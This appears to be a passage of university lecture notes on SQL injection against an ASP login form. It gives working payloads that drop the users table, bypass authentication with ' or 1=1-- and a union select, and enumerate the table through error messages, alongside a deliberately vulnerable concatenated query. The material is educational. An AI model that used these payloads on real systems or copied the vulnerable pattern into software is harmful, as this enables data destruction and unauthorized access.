03-Web Application Vulnerabilities - I (Website Attacks Tips)
03-Web Application Vulnerabilities - I (Website Attacks Tips)
03-Web Application Vulnerabilities - I (Website Attacks Tips)
Alrehamy
Department of Information Security Year(III)-Term(I)-Lecture(#3)
1
College of Information Technology Lecturer: Dr. Hassan H. Alrehamy
Department of Information Security Year(III)-Term(I)-Lecture(#3)
'escaping' single quotes is not necessarily the simple cure it might initially seem.
This is the code for the 'form' page, into which the user types a username and
password:
<INPUT type=text name=username size=100% width=100></INPUT>
<INPUT type=password name=password size=100% width=100></INPUT>
In the code behind of this page, a statement like this would be found:
var sql = "select * from users where username = '" + username + "'
and password = '" + password + "'";
This is the critical part of the web page which creates the 'query string'. If the user
specifies the following:
Username: '; drop table users--
Password:
The 'users' table will be deleted, denying access to the application for all users. The
'--' character sequence is the 'single line comment' sequence in Transact-SQL, and
the ';' character denotes the end of one query and the beginning of another. The '--'
at the end of the username field is required in order for this particular query to
terminate without error. The attacker could log on as any user, given that they know
the users name, using the following input:
Username: admin'--
The attacker could log in as the first user in the 'users' table, with the following input:
Username: ' or 1=1--
And, strangely, the attacker can log in as an entirely fictional user with the following
input:
Username: ' union select 1, 'fictional_user', 'some_password', 1--
The reason this works is that the application believes that the 'constant' row that the
attacker specified was part of the recordset retrieved from the database. In order to
manipulate the data in the database, the attacker will have to determine the structure
of certain databases and tables. For example, our 'users' table might have been
created with the following command:
3
College of Information Technology Lecturer: Dr. Hassan H. Alrehamy
Department of Information Security Year(III)-Term(I)-Lecture(#3)
create table users( id int, username varchar(255), password varchar(255), privs int )
And had the following users inserted:
insert into users values( 0, 'admin', 'r00tr0x!', 0xffff )
insert into users values( 0, 'guest', 'guest', 0x0000 )
insert into users values( 0, 'chris', 'password', 0x00ff )
insert into users values( 0, 'fred', 'sesame', 0x00ff )
Let's say our attacker wants to insert a user account for himself. Without knowing
the structure of the 'users' table, he is unlikely to be successful. Even if he gets lucky,
the significance of the 'privs' field is unclear. The attacker might insert a '1', and give
himself a low - privileged account in the application, when what he was after was
administrative access. Fortunately for the attacker, if error messages are returned
from the application (the default ASP behaviour) the attacker can determine the
entire structure of the database, and read any value that can be read by the account
the ASP application is using to connect to the SQL Server. First, the attacker wants
to establish the names of the tables that the query operates on, and the names of the
fields. To do this, the attacker uses the 'having' clause of the 'select' statement:
Username: ' having 1=1--
This provokes the following error:
Column 'users.id' is invalid in the select list because it is not contained in an
aggregate function and there is no GROUP BY clause.
So the attacker now knows the table name and column name of the first column in
the query. They can continue through the columns by introducing each field into a
'group by' clause, as follows:
Username: ' group by users.id having 1=1--
which produces the error:
Column 'users.username' is invalid in the select list because it is not contained in
either an aggregate function or the GROUP BY clause. Eventually the attacker
arrives at the following 'username':
' group by users.id, users.username, users.password, users.privs having 1=1--
4
College of Information Technology Lecturer: Dr. Hassan H. Alrehamy
Department of Information Security Year(III)-Term(I)-Lecture(#3)